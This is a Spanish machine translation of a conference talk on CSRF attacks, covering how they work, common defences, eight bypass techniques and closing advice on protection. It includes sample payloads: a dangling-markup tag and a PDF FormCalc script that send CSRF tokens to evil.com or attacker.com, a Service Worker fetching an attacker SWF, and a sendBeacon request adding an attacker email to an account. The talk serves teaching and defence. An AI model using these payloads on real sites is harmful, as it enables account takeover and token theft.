Las vulnerabilidades CSRF siguen siendo relevantes

CSRF (falsificación de solicitudes de sitios cruzados) traducido al ruso es una falsificación de solicitudes de sitios cruzados. Mikhail Egorov ( 0ang3el ) en su informe sobre Highload ++ 2017 habló sobre las vulnerabilidades CSRF, sobre qué mecanismos de protección se usan generalmente y cómo se pueden eludir de todos modos. Y al final, trajo una serie de consejos sobre cómo defenderse adecuadamente contra los ataques CSRF. Bajo decodificación de gato de esta actuación.


Sobre el orador: Mikhail Egorov trabaja en Ingram Micro Cloud y se dedica a la seguridad de aplicaciones. En su tiempo libre, Mikhail se dedica a la búsqueda de vulnerabilidades y búsqueda de errores y habla en conferencias de seguridad.

Descargo de responsabilidad: la información proporcionada es puramente la opinión del autor, todas las coincidencias son aleatorias.


Este monstruo de las cookies tiene la culpa del hecho de que los ataques CSRF funcionan. El hecho es que muchas aplicaciones web usan cookies (en adelante consideramos apropiado llamar cookies en ruso) para controlar la sesión del usuario. El navegador está diseñado para que, si tiene cookies de usuario para este dominio y ruta, las envíe automáticamente junto con la solicitud HTTP.

Cookies


Una cookie es un pequeño dato que un servidor web envía a un cliente en forma de nombre = valor en un encabezado HTTP llamado "Set-Cookie". El navegador almacena estos datos en la computadora del usuario y, cuando sea necesario, envía estos datos al servidor web como parte de una solicitud HTTP en un encabezado HTTP llamado "Cookie".

Las cookies pueden tener varios atributos, como: caduca, dominio, seguro, httponly:

Las cookies aparecieron por primera vez en el navegador Netscape en 1994. Muchas aplicaciones web todavía las usan para administrar la sesión de un usuario.


Veamos cómo funciona el clásico ataque Cross Site Request Forgery (CSRF).

Digamos que nuestra aplicación web tiene la capacidad de cambiar la dirección de entrega del usuario y utiliza cookies para controlar la sesión.

Tenemos un formulario HTML que el usuario debe completar: ingrese la dirección y haga clic en el botón "Guardar". Como resultado, una solicitud POST con un formulario HTML volará al backend. Vemos que el navegador configura automáticamente las cookies de sesión del usuario. El backend, cuando recibe dicha solicitud, ve que existe tal sesión, es un usuario legítimo y cambia su dirección de entrega.

¿Qué puede hacer un atacante?


Puede colocar una página HTML en su sitio attacker.com que realmente envíe el formulario HTML como ejemplo . com . Dado que el navegador inserta automáticamente las cookies del usuario en la solicitud HTTP, el backend simplemente no entenderá si la solicitud es legítima, es el resultado de completar el formulario por el usuario o es un ataque CSRF, y cambiará la dirección de entrega del usuario a un valor que sea beneficioso para el atacante .

Hay otra opción para un ataque CSRF utilizando la API XHR. Si muchos han escuchado sobre el ataque CSRF usando formularios HTML, entonces saben menos sobre este método, pero también funciona.


Tenga en cuenta el atributo withCredentials, que hace que el navegador envíe automáticamente cookies de usuario. Como el valor de Content-type es application / x-www-form-urlencoded, el navegador enviará esta solicitud sin la solicitud de verificación previa de opciones CORS, y nuevamente el ataque CSRF funcionará.

Consideremos más claramente cómo sucede esto.


Datos de origen:

  • aplicación example.com que es vulnerable a CSRF,
  • usuario
  • sitio del atacante, donde hay una página csrf-xhr.html.

El usuario se autentica en la aplicación, que se encuentra en example.com . Si va al sitio del atacante, se ejecutará automáticamente una solicitud POST, que cambiará la dirección de entrega. El navegador insertará automáticamente cookies de sesión en la solicitud y el backend cambiará la dirección.

Historial de ataques CSRF


En general, los ataques CSRF se conocen desde 2001, cuando comenzaron a explotarse activamente. En el período 2008-2012, tales vulnerabilidades estaban en cada primer sitio, incluyendo:

  1. YouTube
  2. The New York Times;
  3. Badoo
  4. Slideshare
  5. Vimeo;
  6. Hulu
  7. Búsqueda de cine;
  8. ...

¿Qué tan graves son las vulnerabilidades CSRF?


De hecho, todo depende de la criticidad de la acción vulnerable. Podría ser:

  • Adquisición de cuenta: el atacante captura la cuenta de la víctima cambiando el correo electrónico a través de CSRF.
  • Escalada de privilegios: aumento de privilegios debido al hecho de que el atacante a través de CSRF crea un nuevo usuario con altos derechos en el sistema.
  • Ejecución remota de código: ejecución de código debido a la operación de inyección de comandos en el panel de administración a través de CSRF.

Veamos qué dicen las clasificaciones de vulnerabilidad establecidas internacionalmente sobre la gravedad de CSRF.

En el proyecto OWASP Top 10 , que contiene las 10 vulnerabilidades más críticas de la aplicación, en 2010 las vulnerabilidades CSRF ocuparon el quinto lugar . Luego, los desarrolladores comenzaron a implementar varias opciones de protección, y ya en 2013 las vulnerabilidades CSRF se trasladaron a la 8ª posición.

Las vulnerabilidades CSRF no se incluyeron en la lista para 2017, porque supuestamente según las estadísticas, ahora se encuentran en las pruebas de penetración solo en el 8% de los casos .

Personalmente, no estoy de acuerdo con estas estadísticas, porque literalmente en los últimos dos años he encontrado muchas vulnerabilidades CSRF. A continuación te contaré cómo lo hice.

En la clasificación Bugcrowd VRT (Taxonomía de calificación de vulnerabilidad), las vulnerabilidades CSRF de toda la aplicación tienen una calificación de gravedad de P2 (Alta). Solo la gravedad crítica está arriba, es decir, estas son vulnerabilidades bastante serias .


Considere qué opciones de protección CSRF existen y cómo funciona cada una de las opciones de protección.

1. token CSRF
  • Para cada sesión de usuario, se genera un token único y altamente entrópico.
  • El token se inserta en el DOM de la página HTML o se le da al usuario a través de la API.
  • El usuario con cada solicitud asociada con cualquier cambio debe enviar un token en el parámetro o en el encabezado HTTP de la solicitud.
  • Como el atacante no conoce el token, el clásico ataque CSRF no funciona.

2. Enviar doble cookie
  • Nuevamente, se genera un token único y altamente entrópico para cada sesión de usuario, pero se coloca en cookies.
  • El usuario debe pasar los mismos valores en la solicitud en la solicitud y en el parámetro de solicitud.
  • Si estos dos valores coinciden en las cookies y en el parámetro, se considera que esta es una solicitud legítima.
  • Dado que el atacante simplemente no puede cambiar las cookies en el navegador del usuario, el ataque CSRF clásico no funciona.

3. Protección basada en el tipo de contenido
  • El usuario debe enviar una solicitud con un encabezado de tipo de contenido específico, por ejemplo, application / json.
  • Dado que es imposible enviar un origen cruzado arbitrario de tipo de contenido en el navegador a través del formulario HTML o la API XHR, el ataque CSRF clásico no funciona nuevamente.

4. Protección basada en referencias
  • El usuario debe enviar una solicitud con un valor de encabezado Referer específico. El backend lo comprueba, si es incorrecto, se considera que se trata de un ataque CSRF.
  • Dado que el navegador no puede enviar un árbitro arbitrario a través de un formulario HTML o API XHR, el ataque CSRF clásico no funciona.

5. Confirmación de contraseña / websudo
  • El usuario debe confirmar la acción con una contraseña (o secreto).
  • Como el atacante no lo conoce, el clásico ataque CSRF no funciona.

6. Cookies SameSite en Chrome, Opera
Esta es una nueva tecnología diseñada para proteger contra CSRF. Por el momento, solo funciona en dos navegadores (Chrome, Opera).

  • Una cookie se establece con un atributo adicional: samesite, que puede tener dos valores: lax o estricto.
  • La esencia de la tecnología es que el navegador no envía cookies si la solicitud se realiza desde otro dominio, por ejemplo, desde el sitio web del atacante. Por lo tanto, esto nuevamente protege contra el ataque clásico de CSRF.

Pero, desafortunadamente, en todas partes hay características de navegadores, aplicaciones web y su implementación, que a veces le permiten evitar la protección CSRF .

Por lo tanto, ahora hablemos de 8 formas de evitar la protección que se pueden usar en la práctica.


Escenarios de soluciones:


1. XSS (cross-sites scriptting)

Si su aplicación web tiene XSS, esto automáticamente la hace vulnerable a CSRF, y es difícil protegerse de esto. Solo puedes aguantar .

2. Marcado colgante

Digamos que nuestra aplicación tiene una vulnerabilidad a la inyección de HTML, pero no hay XSS. Por ejemplo, hay una Política de seguridad de contenido (CSP) que protege contra XSS. Pero un atacante aún puede incrustar etiquetas HTML.

Si nuestra aplicación implementa protección basada en tokens CSRF, el atacante puede incrustar dicho HTML, estos no son imágenes cerradas o etiquetas de formulario:

<img src='https://evil.com/log_csrf?html= <form action='http://evil.com/log_csrf'><textarea> 

Como resultado, parte de la página HTML DOM se enviará al recurso del atacante. Es muy probable que si el atacante implementa correctamente dicho HTML, lo que viene al sitio del atacante contendrá un token CSRF.

Por lo tanto, habiendo aprendido el token, el atacante podrá explotar CSRF de la manera clásica.

3. Subdominio vulnerable

Supongamos que tenemos un subdominio foo.example.com , y es vulnerable a la adquisición del subdominio o XSS. Como resultado de la adquisición del subdominio, el atacante controla completamente el subdominio y puede agregar cualquier página HTML allí o ejecutar código JS en el contexto del subdominio. Si nuestro subdominio es vulnerable a tales cosas, entonces el atacante podrá eludir los siguientes tipos de protección CSRF:

  • Fichas CSRF;
  • Cookie de doble envío;
  • Protección basada en el tipo de contenido.

Digamos que nuestra aplicación principal utiliza CORS (Cross-Origin Resource Sharing) para la comunicación entre dominios. Se insertan dos encabezados en la respuesta del servidor:

  1. Access-Control-Allow-Origin: foo.example.com (foo.example.com - subdominio vulnerable);
  2. Access-Control-Allow-Credentials: verdadero   - para que utilizando la API XHR sea posible realizar una solicitud con cookies de usuario.

Si se cumplen estas condiciones, el atacante puede simplemente leer el token CSRF del subdominio que controla y continuar explotando el CSRF de la manera clásica.

La proxima opcion. Supongamos que hay un archivo crossdomain.xml en el dominio principal que queremos atacar. Este archivo es utilizado por los complementos flash y PDF para la interacción del subdominio, y se permite el acceso a él desde cualquier subdominio.

 <cross-domain-policy> <allow-access-from domain="*.example.com" /> </cross-domain-policy> 

Si el atacante puede cargar el archivo JS en foo.example.com , en este caso puede usar la API de Service Worker para el subdominio foo.example.com, que en realidad entrega el archivo flash.

 var url = "https://attacker.com/bad.swf"; onfetch = (e) => { e.respondWith(fetch(url); } 

Como tenemos crossdomain.xml en el dominio principal, que permite la interacción de subdominios, el atacante simplemente lee el token CSRF a través de este SWF.

Por cierto, recientemente se encontró una vulnerabilidad similar en Amazon, más detalles aquí .

Incluso si CORS no está configurado y no hay un archivo crossdomain.xml, pero se utiliza la protección de cookies de envío doble, un atacante puede simplemente insertar cookies del subdominio para el dominio principal en la ruta donde desea explotar CSRF, y así evitar la protección de cookies de envío doble.

4. PDF incorrecto

Esta solución alternativa se basa en PDF. Adobe tiene un complemento PDF que se instala automáticamente cuando instala Adobe Reader. Este complemento es compatible con el llamado script FormCalc. Sin embargo, ahora el complemento PDF de Adobe solo funciona en IE11 y Firefox ESR.

FormCalc tiene dos excelentes métodos: get () y post (). Un atacante que usa el método get puede leer el token CSRF, usar post y enviarlo a su sitio. Entonces el atacante obtiene el token CSRF de la víctima.

Supongamos que tenemos la capacidad de subir un archivo PDF a una aplicación web. De hecho, incluso puede ser un archivo de un formato diferente, por ejemplo, un atacante puede intentar descargar un PDF bajo la apariencia de una imagen, que es el avatar del usuario.

La aplicación tiene alguna API en el dominio principal, que le permite obtener el contenido del archivo descargado. Luego, el atacante puede usar una página HTML que incrusta el archivo PDF que el atacante subió a example.com usando la etiqueta de inserción.

 <h1>Nothing to see here!</h1> <embed src="https://example.com/shard/x1/sh/leak.pdf" width="0" height="0" type='application/pdf'> 

Archivo Leak.pdf :


Este archivo contiene un script FormCalc, que solo lee la página Settings.action, donde hay un token CSRF en el DOM y lo envía usando el método de publicación al sitio del atacante.

Dado que el PDF se descarga de example.com, este PDF tiene acceso completo a todo el origen https://example.com , y puede leer datos desde allí sin violar el modo de Política del mismo origen (SOP).

Un enfoque adicional es que para el complemento PDF no importa con qué tipo de contenido se proporcione el archivo PDF, e incluso la respuesta HTTP puede contener otros encabezados (por ejemplo, Content-Disposition). El complemento PDF aún representará este PDF y ejecutará el script FormCalc.

5. Inyección de galletas

Si se utiliza la protección de cookies de envío doble, entonces si el atacante puede introducir cookies de alguna manera, entonces se acabó el juego.

Una de las opciones más populares en este escenario es la inyección de CRLF .

Si el atacante puede insertar encabezados adicionales en la respuesta del servidor, simplemente puede agregar el encabezado Set-Cookie con las cookies necesarias y omitir la protección CSRF.

Otra opción está relacionada con las funciones de manejo de cookies del navegador .

Por ejemplo, en Safari, puede usar comas para insertar nuevas cookies (cookies separadas por comas). Supongamos que tenemos un parámetro de URL en el encabezado llamado idioma. Lo procesamos y escribimos el valor de idioma seleccionado para el usuario en cookies. Si el atacante inserta una coma, puede insertar cookies adicionales con cualquier nombre.

Además, eludir la protección CSRF puede ayudar a los errores del navegador . Por ejemplo, en Firefox fue posible incrustar cookies a través de una imagen SVG ( CVE-2016-9078) . Si tenemos un editor HTML y permitimos que el usuario inserte etiquetas de imagen, entonces el atacante puede simplemente apuntar a la imagen SVG en el atributo SRC, que establecerá las cookies necesarias.

6. Cambiar tipo de contenido
Algunos desarrolladores creen que si usa un formato de datos no estándar en el cuerpo de una solicitud POST para comunicarse con el back-end, esto puede salvarlo de CSRF. Este no es realmente el caso.

Como ejemplo, citaré una vulnerabilidad que encontré recientemente en un servicio de administración de notas muy popular.

Usó una API que usa Apache Thrift (formato de datos binarios) y cookies para controlar la sesión. Por ejemplo, para agregar una nueva nota, el usuario tuvo que enviar dicha solicitud POST. Los datos binarios se transmitieron en el cuerpo y Content-Type: se especificó application / x-thrift.

 POST /user/add/note HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://example.com Cookie: JSESSIONID=728FAA7F23EE00B0EDD56D1E220C011E.jvmroute8081; Connection: close Content-Type: application/x-thrift Content-Length: 43 

De hecho, este tipo de contenido no fue validado en el backend. Fue posible cambiarlo a texto / sin formato y usar la API XHR para explotar esta vulnerabilidad CSRF simplemente pasando datos binarios en el cuerpo de la solicitud POST.


De hecho, la seguridad basada en el tipo de contenido es una opción de seguridad muy pobre. Se pasa por alto en la mayoría de los casos.

7. Tipo de contenido no simple

A través del formulario HTML o usando la API XHR, podemos enviar los siguientes tipos de contenido:

  • texto / sin formato;
  • application / x-www-form-urlencoded;
  • multipart / form-data.

De hecho, es posible enviar cualquier valor de tipo de contenido a través de:

  • errores en los navegadores (por ejemplo, Navigator.sendBeacon);
  • complementos: complemento Flash + redireccionamiento 307 y complemento PDF + redireccionamiento 307;
  • marcos de backend.

Algunos marcos, como el marco JAX-RS Apache CXF, admiten un parámetro llamado ctype en la URL. Puede especificar cualquier tipo de contenido en este parámetro, el backend lo verá y lo usará en lugar del tipo de contenido, que se pasa al encabezado ( enlace a la fuente).

Se encontró un error bastante conocido en el navegador Chrome en 2015, después de lo cual, después de aproximadamente un mes, entró en acceso público, pero solo se solucionó en 2017. Este error le permitió enviar una solicitud POST con cualquier tipo de contenido a otro origen utilizando una API llamada Navigator.sendBeacon ().
¿Cómo se veía la operación?

 <script> function jsonreq() { var data = '{"action":"add-user-email","Email":"attacker@evil.com"}'; var blob = new Blob([data], {type : 'application/json;charset=utf-8'}); navigator.sendBeacon('https://example.com/home/rpc', blob ); } jsonreq(); </script> 

Creamos un nuevo blob con el Content-Type deseado y simplemente lo enviamos usando Navigator.sendBeacon ().

Otro escenario de solución alternativa que todavía funciona y es compatible con los navegadores es omitir el uso del complemento flash.


Incluso hay un sitio thehackerblog.com , donde ya hay una unidad flash lista, solo tiene que especificar la URL, el encabezado, el tipo de contenido deseado y los datos que necesita transferir: envía y una solicitud POST con el tipo de contenido deseado vuela al backend.

Pero hay un truco: no puede especificar la URL del sitio que estamos atacando. Debe especificar el recurso que redirigirá con el código 307 en el recurso que estamos atacando. Entonces funcionará.

8. Referente de parodia

La última opción para evitar la protección CSRF se basa en Referer. Hay un error en el navegador Microsoft Edge , que aún no está solucionado y le permite falsificar el valor de Referer. Pero, desafortunadamente, funciona solo para solicitudes GET. Si el backend atacado no distingue GET de POST, entonces este error puede ser explotado.

Si aún necesitamos POST, entonces hay un pequeño truco. Podemos enviar el encabezado de referencia utilizando el complemento PDF y FormCalc.


Hace aproximadamente un año, era posible usar el complemento PDF para enviar cualquier encabezado en general, incluido el host, pero Adobe cerró esta posibilidad creando una lista negra de encabezados. Es decir, si especificamos Referer en el encabezado, entonces este encabezado simplemente no irá.

En general, FormCalc nos permite enviar legalmente cualquier tipo de contenido. Si insertamos caracteres de retorno de cartucho y avance de línea, podemos agregar encabezados adicionales a la solicitud.

¿Qué sucede si implementamos el encabezado Referer http://example.com ?

Está claro que no está en la lista negra y se enviará al backend un encabezado con el nombre Referer http://example.com .

Algunos servidores, como WildFly o Jboss, tratan el espacio como el final del nombre del encabezado HTTP, es decir, los dos puntos ` : `. Por lo tanto, dichos servidores verán que Referer llegó a ellos con el valor http://example.com . Entonces reemplazaremos a Referer.


Esta es la tabla resumen. Las columnas proporcionan protección contra CSRF y las filas proporcionan soluciones alternativas. En cada celda, se indican los navegadores en los que funciona este método:

  • Todos los medios para todos los navegadores;
  • Todos * significa navegadores que no son compatibles con las cookies de SameSite, es decir Todo excepto Chrome y Opera.



La opción más cardinal y funcional para protegerse contra los ataques CSRF es deshacerse de las cookies y usar el encabezado con tokens.

Pero si aún no está listo para renunciar a las cookies para administrar su sesión de usuario:

  • Modele amenazas y verifique la implementación de la protección CSRF (consulte la tabla Resumen).
  • Implemente las cookies de SameSite. Ahora solo son compatibles dos navegadores, pero en el futuro, probablemente, habrá más.
  • Combina varias defensas CSRF: defensa en profundidad.
  • Solicite al usuario una contraseña para realizar acciones críticas.
  • Dar archivos descargados por el usuario desde un dominio separado.

En menos de seis meses, y la próxima alta carga en un mes: Highload ++ Siberia .

Queremos llamar su atención sobre algunos de los informes seleccionados:


Source: https://habr.com/ru/post/es412855/


All Articles